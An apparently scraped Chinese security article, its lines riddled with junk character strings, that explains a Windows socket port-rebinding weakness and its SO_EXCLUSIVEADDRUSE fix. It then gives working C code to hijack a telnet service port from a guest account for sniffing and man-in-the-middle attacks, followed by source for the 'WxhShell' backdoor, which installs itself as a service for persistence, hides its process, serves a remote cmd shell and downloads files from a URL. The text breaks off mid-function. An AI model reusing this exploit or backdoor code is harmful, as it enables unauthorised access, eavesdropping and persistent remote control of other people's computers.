在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
D~qi6@Ga s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
W)`>'X` EQnU:a saddr.sin_family = AF_INET;
Ym%#" 6n:X
p_yO saddr.sin_addr.s_addr = htonl(INADDR_ANY);
~m R^j uP7|#>1% bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
+VIEDV+ [p\xk{7Y 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
%AV3eqghCg UB] tKn 这意味着什么?意味着可以进行如下的攻击:
depCqz@ 9[t-W:3c7 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
dyqk[$( ?n<sN" 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
=5:vKL j 7d{xXJ- 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
I9TNUZq(' =PU@'OG 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
0o6r3xc; 5Bcmz'?! 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
X:FyNUa ;J?fK69% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
.&=\
*cZc xR'd}>` 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
7|Qb}[s KJn 3&7 #include
aSm</@tO& #include
yokZ>+jb #include
\#h=pz+jb #include
Jx3a7CpX DWORD WINAPI ClientThread(LPVOID lpParam);
uPFbKSJj int main()
48gpXcc@| {
z:n
JN%Qb WORD wVersionRequested;
R]kH$0` DWORD ret;
oW7;t WSADATA wsaData;
5W{|?l{ BOOL val;
s5b<KQ. SOCKADDR_IN saddr;
!/F-EJOH6C SOCKADDR_IN scaddr;
b9f5 int err;
11J:>A5zt SOCKET s;
oOQan SOCKET sc;
_qit$#wK; int caddsize;
Rlr[uU_ HANDLE mt;
M~sP|Ha"+ DWORD tid;
$YBH;^# wVersionRequested = MAKEWORD( 2, 2 );
ieyqp~+|4$ err = WSAStartup( wVersionRequested, &wsaData );
^J?2[( if ( err != 0 ) {
KE)^S
[Da printf("error!WSAStartup failed!\n");
j{5oXW return -1;
XF4NRs }
RvW>kATb_F saddr.sin_family = AF_INET;
m[5ed1+ Erl@]P4 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
or`"{wop L'BzefU;04 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
TI'~K}Te saddr.sin_port = htons(23);
$EG<LmC-Q if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_i"[m(ABj1 {
@XF/hhGE_y printf("error!socket failed!\n");
_*(:6,8 return -1;
4.&et()} }
7_7^&.Hh val = TRUE;
piUfvw //SO_REUSEADDR选项就是可以实现端口重绑定的
atFu
KYI if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
qmpU{fs {
qr/N ?, printf("error!setsockopt failed!\n");
I'cM\^/h return -1;
!P)7t`X }
dZbG#4oO //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
)3_g&& //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
wa9{Q}wSa //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
rNHV Z$@ XMq! if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
A7:W0Gg {
QeAkuqT'[ ret=GetLastError();
W/R-~C e printf("error!bind failed!\n");
d7QQ5FiB return -1;
KWV{wW=- }
].w$b)G listen(s,2);
DU4Prjb' while(1)
>^Z! {
W,n0'";') caddsize = sizeof(scaddr);
w4+bzdZ //接受连接请求
l:kF0tj" sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
7"
cgj# if(sc!=INVALID_SOCKET)
Ec]cCLB {
WS0RvBvb mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
- r82'3] if(mt==NULL)
*o[*,1Pw {
[! :.9 printf("Thread Creat Failed!\n");
V#6`PD6 break;
L7*~8Y }
71w$i
4 }
{4{ACp CloseHandle(mt);
p.1|bXY` }
Lp/]iZ@ closesocket(s);
7QRtNYo#\ WSACleanup();
{ByT,92 return 0;
f-6E> }
jKu"Vi|j> DWORD WINAPI ClientThread(LPVOID lpParam)
A|@d4+ {
2S8/
lsB
SOCKET ss = (SOCKET)lpParam;
nmN6RGx SOCKET sc;
A!
1> unsigned char buf[4096];
}g _#.>D+ SOCKADDR_IN saddr;
b_=k"d long num;
S?=2GY DWORD val;
6q8qq/h) DWORD ret;
{ l LUZM //如果是隐藏端口应用的话,可以在此处加一些判断
EY!aiH6P //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
8DLMxG saddr.sin_family = AF_INET;
,k@fXoW saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Nr7MSFiL saddr.sin_port = htons(23);
p<6pmW3 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
z{^XU"yB {
1}!f.cWV( printf("error!socket failed!\n");
=RUKN38 return -1;
0:nQGX!N }
t9x.O val = 100;
*4[3?~_B#6 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
kF.PLn'iS {
? P`]^# ret = GetLastError();
te'<xfG return -1;
d8
ve$X }
@v2kAOw[ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
gy<pN?Mw {
O`mW, ret = GetLastError();
_&JlE$ua7 return -1;
Ty]CdyL$ }
5NeEDY2%# if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
'F[Q E9]* {
`)H.TMI
printf("error!socket connect failed!\n");
=J?<M?ugf closesocket(sc);
4- 6' closesocket(ss);
)r1Z}X(#d return -1;
2&!G@5 }
!cE)LG while(1)
F{f "xM {
E(
*$wD //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
e[n T'e //如果是嗅探内容的话,可以再此处进行内容分析和记录
<<&:BK //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
3QS"n.d num = recv(ss,buf,4096,0);
;Fuxj!gF if(num>0)
"v~w#\pz7 send(sc,buf,num,0);
ZwF_hm=/[ else if(num==0)
1rE hL break;
@eT!v{o num = recv(sc,buf,4096,0);
x%x:gkq if(num>0)
hlkf|H send(ss,buf,num,0);
E9226 else if(num==0)
.Fh5:WN break;
8X*6i-j5E }
WFN5&7$ W closesocket(ss);
FQ(=Fnqn closesocket(sc);
Cg21-G. return 0 ;
>&U]j*'4 }
v=SC* Pd^ilRB -\>Bphu,y ==========================================================
";",r^vr\ Fz)z&WT 下边附上一个代码,,WXhSHELL
t_@%4Wn!1L eVbHPu4 ==========================================================
R^_/iy +69sG9BA #include "stdafx.h"
4 "wuqr|o 8<?60sj #include <stdio.h>
"PJ@Q9n__ #include <string.h>
@ZK|k #include <windows.h>
XRj<2U5 #include <winsock2.h>
lgA9p
4- #include <winsvc.h>
"vjz $. #include <urlmon.h>
}e9:2 R[Kyq|UyVr #pragma comment (lib, "Ws2_32.lib")
KH2a 2 #pragma comment (lib, "urlmon.lib")
^i#q{@g cD2}EqZ 9 #define MAX_USER 100 // 最大客户端连接数
o $p*C #define BUF_SOCK 200 // sock buffer
P7"g/j" " #define KEY_BUFF 255 // 输入 buffer
b^5rV5d MWsBZJRr #define REBOOT 0 // 重启
7ktf =Y #define SHUTDOWN 1 // 关机
/_woCLwQ# W)w@ju$Ko #define DEF_PORT 5000 // 监听端口
c<-_Vh.:5 0ltq~K #define REG_LEN 16 // 注册表键长度
?OvtR:h C #define SVC_LEN 80 // NT服务名长度
X )g<F M_UhFY=' // 从dll定义API
hMeE@Q0 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
`2d ,=.X typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
MBDu0
[c typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
%,-vmqr typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
0j4bu}@ "i4@'`r // wxhshell配置信息
d^WVWk K struct WSCFG {
zn>*^h0B int ws_port; // 监听端口
e [3sWv char ws_passstr[REG_LEN]; // 口令
JyYg)f int ws_autoins; // 安装标记, 1=yes 0=no
i4v7x;m_p char ws_regname[REG_LEN]; // 注册表键名
=R?NOWrDY char ws_svcname[REG_LEN]; // 服务名
)iluu1,o char ws_svcdisp[SVC_LEN]; // 服务显示名
*)U=ZO6S char ws_svcdesc[SVC_LEN]; // 服务描述信息
SG;]Vr char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Nm:nSqc int ws_downexe; // 下载执行标记, 1=yes 0=no
xAQ=oF
+ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
LYkW2h`JQ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
*w59BO&M4 0b~5i-zM/ };
SpjL\ p0 Iz!Blk // default Wxhshell configuration
B {f&'1pp/ struct WSCFG wscfg={DEF_PORT,
xhj
A!\DS "xuhuanlingzhe",
>Ex\j? 1,
N6EH "Wxhshell",
q%"]}@a0 "Wxhshell",
Q pAK] "WxhShell Service",
;0P2nc:U~ "Wrsky Windows CmdShell Service",
#:w/vk "Please Input Your Password: ",
6}n>Nb;L" 1,
Qp!r_a&
"
http://www.wrsky.com/wxhshell.exe",
a@lvn/b2 "Wxhshell.exe"
tlQ3BKp };
4 )*8& b qEwi[` // 消息定义模块
rH$0h2 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
e
,k,L char *msg_ws_prompt="\n\r? for help\n\r#>";
ZVR0Kzu?Ra char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
W$v5o9\Px char *msg_ws_ext="\n\rExit.";
uRh`qnL char *msg_ws_end="\n\rQuit.";
0^5SL/2 char *msg_ws_boot="\n\rReboot...";
`\(Fax char *msg_ws_poff="\n\rShutdown...";
7?qRY9Qu char *msg_ws_down="\n\rSave to ";
uf^"Y3 8BhLO.(<O char *msg_ws_err="\n\rErr!";
FG38) / char *msg_ws_ok="\n\rOK!";
%=S~[&8C 4[9~g=y> char ExeFile[MAX_PATH];
'|G_C%,B int nUser = 0;
aRC>pK. HANDLE handles[MAX_USER];
|k{?\ (h; int OsIsNt;
q4|TwRx~ S`5^H~ SERVICE_STATUS serviceStatus;
+D* b!5[ SERVICE_STATUS_HANDLE hServiceStatusHandle;
> mgbs> (`k0tC2 // 函数声明
*Ny^XQ_ X int Install(void);
's8NO
Xlj int Uninstall(void);
H"tS3 3 int DownloadFile(char *sURL, SOCKET wsh);
5qGRz"\p~ int Boot(int flag);
W> s@fN9 void HideProc(void);
KtA0
8?B int GetOsVer(void);
w6'o<= int Wxhshell(SOCKET wsl);
nMNAn}~*M void TalkWithClient(void *cs);
sFC&DTb? int CmdShell(SOCKET sock);
j,8*Z~\5 int StartFromService(void);
WXp=>P[ int StartWxhshell(LPSTR lpCmdLine);
dMp7 ,{FhF g(7htWr4 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
XD<7d")I VOID WINAPI NTServiceHandler( DWORD fdwControl );
cwlXb!S$ O{,Uge2n, // 数据结构和表定义
_~d C>`K SERVICE_TABLE_ENTRY DispatchTable[] =
{W62%>v {
qDxz`}Ly= {wscfg.ws_svcname, NTServiceMain},
t^)q[g {NULL, NULL}
$h`?l$jC(@ };
Yc3r3Jy {l-,Jbfi` // 自我安装
KN'l/9. int Install(void)
Vrf2%$g {
eOt T* char svExeFile[MAX_PATH];
no?TEXp* HKEY key;
f"~+mO strcpy(svExeFile,ExeFile);
+M/04 U{q6_z|c // 如果是win9x系统,修改注册表设为自启动
:CV!:sUm if(!OsIsNt) {
T?I&n[Y| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
36s[hg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
pv~XZ(J.1 RegCloseKey(key);
U
SXz if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
hY7Q$B< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(d | RegCloseKey(key);
$h0] return 0;
{6!Mf+Xq }
yb2*K+Kv }
9t(B{S }
]F r+cP else {
@tdX=\[~ LDN'o1$qo // 如果是NT以上系统,安装为系统服务
&THM]3: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
0|nvi=4~e| if (schSCManager!=0)
J6;^:() {
;'{:}K=h SC_HANDLE schService = CreateService
.L0pS.=LT (
<T[%03 schSCManager,
6A7UW7/ wscfg.ws_svcname,
%f\ M61Z wscfg.ws_svcdisp,
E1_FK1*V; SERVICE_ALL_ACCESS,
!T@>Ld: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
b#FN3AsR SERVICE_AUTO_START,
v1?P$f*g SERVICE_ERROR_NORMAL,
m=k(6 svExeFile,
!s/ij'T NULL,
.r)WDR NULL,
f(=yC}si NULL,
O$J'BnPpw NULL,
lY[>}L*H8 NULL
yL^1s\<ddW );
0|9(oP/: if (schService!=0)
ELeR5xT {
<1.].A@b* CloseServiceHandle(schService);
])!|b2:s3 CloseServiceHandle(schSCManager);
u`$,S&Er strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
%?J\P@ strcat(svExeFile,wscfg.ws_svcname);
2/RK
pl & if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
e<dFvMO RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
G'q7@d{' RegCloseKey(key);
]^Z7w`=%5 return 0;
\K9XG/XIx }
Nc
F }
PQ. xmg2 CloseServiceHandle(schSCManager);
)/PvaL }
^ ]SS\=7 }
D "j
=|4S# %}j.6'`{
return 1;
di]z }
zNuiBLxDs E)o/C(g // 自我卸载
HuBG?4Qd int Uninstall(void)
r+3V+:f {
Vj_(55WQ HKEY key;
Qf0$Z.- w~afQA> if(!OsIsNt) {
k{Vc5F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
38b%km# RegDeleteValue(key,wscfg.ws_regname);
.+]e9mV RegCloseKey(key);
s@OCj0'l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
X ~%I(?OX RegDeleteValue(key,wscfg.ws_regname);
@y[Zr6\z RegCloseKey(key);
Yr-a8aSTE5 return 0;
@xH|( }
9E)*X }
E^zgYkZO }
E
`Ualai else {
6_=qpP-? JQYIvo1,Q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
K~z*P0g* if (schSCManager!=0)
9*GwW&M%1_ {
F\Q)l+c SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
@/l{ if (schService!=0)
J:dF^3Y {
*>V6KW if(DeleteService(schService)!=0) {
D{Y~kV| CloseServiceHandle(schService);
w5gN8ZF3 CloseServiceHandle(schSCManager);
6%H8Qv return 0;
,w; ~R4x }
oF,XSd CloseServiceHandle(schService);
9"52b9U }
LO[1xE9 CloseServiceHandle(schSCManager);
eW"i'\`0 }
{/uBZ( }
W:O<9ZbQ_ gP/[=: return 1;
%E?:9. :NJ }
Q IQB [6K2V:6: // 从指定url下载文件
>/;\{IG
Wn int DownloadFile(char *sURL, SOCKET wsh)
\NhCu$' {
GK)3a 9; HRESULT hr;
pRx^O
F(3 char seps[]= "/";
OOQfa#~k char *token;
au9r)]p- char *file;
>aW|W!. char myURL[MAX_PATH];
il<D e]G char myFILE[MAX_PATH];
\#1!qeF ^c83_93)R strcpy(myURL,sURL);
bxyEn'vNvQ token=strtok(myURL,seps);
tPP nW while(token!=NULL)
$_k'!/5 {
t>7t4>X file=token;
hE\,4c1 token=strtok(NULL,seps);
oo)P(_"u }
-}%'I]R= R"6Gm67 t GetCurrentDirectory(MAX_PATH,myFILE);
Kv:U QdnU[ strcat(myFILE, "\\");
I{<6GIU+ strcat(myFILE, file);
kQC>8" send(wsh,myFILE,strlen(myFILE),0);
B}X
C send(wsh,"...",3,0);
N?Mmv| hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
7U:,:= if(hr==S_OK)
*h1Zqb return 0;
WGN[`D" else
pu=T
pSZ return 1;
%56pP"w Odxq ]HlbO }
%\_I%
yF cE 8vSQ% // 系统电源模块
(6A>:_) int Boot(int flag)
twz {
9<kKno HANDLE hToken;
)PL'^gRr TOKEN_PRIVILEGES tkp;
,
M /-lW pWSYbN+d if(OsIsNt) {
1@yXVD/ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
YH)Unql LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
>r{3t{ tkp.PrivilegeCount = 1;
mvVVPf9 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
.!KlN% As AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
}zRYT_: if(flag==REBOOT) {
m(y?3}h if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
c[!e*n!y return 0;
Ptzha?}OZ }
DG8$zl5 else {
t"2WJ-1k} if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
bVtboHlY return 0;
4S 2I]d }
7$x@;%xd }
?XsL4HIx else {
Z{chAg\ if(flag==REBOOT) {
0vS%m/Zi- if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
[aO"9 return 0;
|?s%8c'w= }
*{Wh-bc else {
J4j?rLR3p if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
[Qy]henK return 0;
*Zt)J8C }
s.1(- "DU }
;s"m*
4N u):z1b3*? return 1;
pTGq4v@6x }
qw%4j9} NxNR;wz>l // win9x进程隐藏模块
@MtF^y void HideProc(void)
BRQ9kK20 {
:eQ@I+ 3, ,Z HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
$7TYix8= if ( hKernel != NULL )
uP|AP {
Vt
n$*ML pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
?-#w [J'6 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
j0=`Jf FreeLibrary(hKernel);
wa<@bub }
)#ic"UtR jV:U% return;
)K@ 20Q+0K }
gD=s~DgN) bT[Q:#GL // 获取操作系统版本
@)<uQ S int GetOsVer(void)
%E1~I\n:F {
?j8CkqX! OSVERSIONINFO winfo;
wIxLr{ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
K_]LK GetVersionEx(&winfo);
rM [Ps=5 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
*Ei~2O} return 1;
|YZ`CN<
else
k49CS*I return 0;
X%`8h_ }
s<:"rw` SnQ$ // 客户端句柄模块
d#ld*\| int Wxhshell(SOCKET wsl)
*}ay {
"^_p>C)T SOCKET wsh;
^%go\ C ; struct sockaddr_in client;
wjS3ItB DWORD myID;
l-t:7`=| YvBUx#\ while(nUser<MAX_USER)
!!2~lG<] {
+R2 int nSize=sizeof(client);
EoQ.d|:g wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
of+$TKQNpN if(wsh==INVALID_SOCKET) return 1;
Pl1:d{"d `E!t,*(*E handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
r}f-.Fo if(handles[nUser]==0)
rxP^L(q0* closesocket(wsh);
5uDQ*nJ| else
0>Mm |x*5 nUser++;
cB -XmX/ }
YXV![gw0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
K<|b>PI.s kZz;l(?0 return 0;
i"JF~6c< }
Lb2Bu > NNe'5q9 // 关闭 socket
z W+wtYV4 void CloseIt(SOCKET wsh)
,0- {
"DRp4; closesocket(wsh);
? _HTOOa nUser--;
!o*oT}6n ExitThread(0);
j:<E=[Kl }
F>^k<E?,C 1ed#nB% // 客户端请求句柄
K<s\:$VVh void TalkWithClient(void *cs)
^gb2=gWZ< {
3c9v~5og4 v+Mt/8 SOCKET wsh=(SOCKET)cs;
:FxZdE char pwd[SVC_LEN];
:M=!MgD3w char cmd[KEY_BUFF];
`uzRHbJ` char chr[1];
kx'6FkZPIr int i,j;
)}paQmy# >Pv%E while (nUser < MAX_USER) {
dZnq 96<:| i&_sbQ^ if(wscfg.ws_passstr) {
q/4PX if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^~(bm$4r //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
u=ENf1{ $> //ZeroMemory(pwd,KEY_BUFF);
o
&Nr5S i=0;
ty-4yK# while(i<SVC_LEN) {
4{fi=BA ;K:.*sAa // 设置超时
VLQfuh; fd_set FdRead;
'BUdySng struct timeval TimeOut;
^]aDLjD FD_ZERO(&FdRead);
-Ep-v4} FD_SET(wsh,&FdRead);
?5/Sa TimeOut.tv_sec=8;
4<lZ; M" TimeOut.tv_usec=0;
1%1-j int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
3FNj~=N if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
&<!I]:Y >TL0hBaaR if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
VaQ}XM pwd
=chr[0]; *RuUf
if(chr[0]==0xd || chr[0]==0xa) { :=~([oSNW"
pwd=0; r-'j#|^tz
break; R \`,Q'3
} \UNw43EL
i++; (F_#LeJ|
} rRsLl/d
{H0B"i
// 如果是非法用户,关闭 socket vLkZC
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C9bf1ddCW&
} xY_/CR[,
"I+wU`AIek
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yYF80mnJz
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;PLby]=O
-ud!j
while(1) { bNc=}^
OFDPtJ wV
ZeroMemory(cmd,KEY_BUFF); @$~%C) %u
jfgAI7;b
// 自动支持客户端 telnet标准 $vc:u6I[
j=0; JsiJ=zo<
while(j<KEY_BUFF) { N %0F[sY6
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N$_Rzh"9rr
cmd[j]=chr[0]; @-u/('vpB
if(chr[0]==0xa || chr[0]==0xd) { \UK 9
cmd[j]=0; L
TO1LAac
break; Lww0 LH
>
} wcV~z:&^5
j++; seq
S*^7
} AZtZa'hbkQ
NCl={O9<j
// 下载文件 uWMAXGL
if(strstr(cmd,"http://")) { e'7!aysj
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0!!pNK%(
if(DownloadFile(cmd,wsh)) !xa,[$w(^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #<!oA1MH4
else Vl'|l)b4W
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n]_8!NU
} V-I_SvWv\
else { FtY*I&
T_I"Tsv
switch(cmd[0]) { SDJAk&Z}R
>Wy@J]Y#
// 帮助 IURi90Ir
case '?': { =DF7l<&km
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6' ?Y]K
break; (5'qEi ea
} #PtV=Ee1
// 安装 ,hX03P-X
case 'i': { J6::(0HM
if(Install()) H\)on"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \.Q"fd?a_D
else {) jQbAr(G
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w9z((\5
break; =|uX?
} WFLT[j!1
// 卸载 g!aM-B^C
case 'r': { }R.cqk\qa^
if(Uninstall()) :IS]|3wD
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )/f,.Z$
else }4ta#T Ea
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O7q-MeMM
break; tS`fG;
} xB
4A"|
// 显示 wxhshell 所在路径 &.Yh_
case 'p': {
U7
Z_
char svExeFile[MAX_PATH]; +mV4Ty
strcpy(svExeFile,"\n\r"); ks'25tv}F
strcat(svExeFile,ExeFile); SOeL@!_
send(wsh,svExeFile,strlen(svExeFile),0); "K~+T\^|k
break; iVnrv`k,
} qTiX;e\W
// 重启 }U+gJkY2
case 'b': { j1<@*W&b
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GD.mB[f*
if(Boot(REBOOT)) K+Ehj(eF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k(hes3JV
else { N6yqA)z?;
closesocket(wsh); (~/D*<A
ExitThread(0); $NJi]g|<3
} lusINILc
break; 1
!OQxY}f
} nQg6
j Zf
// 关机 3P'.)=}
case 'd': { jskATA
/
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J%D'Xlb
if(Boot(SHUTDOWN)) YceiP,!4?v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZK_IK)g
else { )SUT+x(DU
closesocket(wsh); qFf'RgUtP
ExitThread(0); TZPWMCN4
} 6}{2W<
break; Jp_{PR:&
} F]SexP4:A
// 获取shell E}\^GNT
case 's': { QT\S>}
CmdShell(wsh); sStaTR{
closesocket(wsh); $eRxCX?b2
ExitThread(0); U*v//@WbH
break; n5oB#>tI0
} )"|g&=
// 退出 Bn47O~
case 'x': { u[PO'6Kzd
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WB$Z<m:
CloseIt(wsh); jcFh2
break; <E6]8SQE
} b*r1Jn"h
// 离开 Cl4y9|
case 'q': { fd*=`+P
send(wsh,msg_ws_end,strlen(msg_ws_end),0); -Qqb/y
closesocket(wsh); op&,&
WSACleanup(); yIqsZJj
exit(1); NfS0yQPx
break; '_@=9 \<
} 5K{(V^88F
} (/Z~0hA[Q
} @T]gwJ
Xp._B4g
// 提示信息 $fuFx8`2W
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uoaF(F-
} 8uS1HE\%
} NzNAhlXj3
xg\M9&J
return; eJ$?T7aUf
} z15(8Y@2]
$9Y2\'w<h6
// shell模块句柄 7Dom[f
int CmdShell(SOCKET sock) C6CX{IA]
{ B,|M
STARTUPINFO si; Yca9G?^\v
ZeroMemory(&si,sizeof(si)); 7Cp>i WV
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !W]># Pm
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G:A~nv9
PROCESS_INFORMATION ProcessInfo; bo\|mvB~
char cmdline[]="cmd"; W&BwBp]K
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6i%LM`8GEk
return 0; a%Cq?HZ7
} / D#vs9S
241YJ
// 自身启动模式 SU2(XP]5
int StartFromService(void) (al7/EhY
{ ^=E4~22q
typedef struct u#la+/
{ 9%kY8#%SV
DWORD ExitStatus; -!(3fO:
DWORD PebBaseAddress; \9@*Jgpd6*
DWORD AffinityMask;
KW^s~j
DWORD BasePriority; w*#TS8
\
ULONG UniqueProcessId; A{mbL2AxwC
